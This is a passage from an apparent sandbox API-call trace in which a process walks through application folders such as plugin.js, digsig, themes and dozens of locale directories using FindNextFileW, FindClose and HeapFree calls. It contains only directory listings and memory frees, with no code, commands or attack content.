ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0267.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.241] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0267.242] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0267.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.242] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0267.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.242] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0267.242] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0267.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0267.242] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0267.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.371] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.371] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0267.371] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0267.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0267.371] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1 [0267.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.372] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0267.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.372] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0267.372] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0267.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.373] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0267.373] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0267.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.373] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.760] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0267.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.761] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0267.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.762] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0267.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.762] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0267.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.764] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0267.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.765] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0267.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.767] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0267.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.768] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0267.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.769] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0267.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.770] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0267.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.772] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0267.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.774] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0267.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0267.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.775] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0267.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.776] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0267.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.778] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0267.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.778] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0267.780] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.780] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0267.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.782] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0267.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.783] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0267.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.783] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0267.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.784] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0267.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.786] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0267.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.786] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0267.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.786] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0267.790] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.790] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0267.792] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.792] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0267.792] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.792] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | 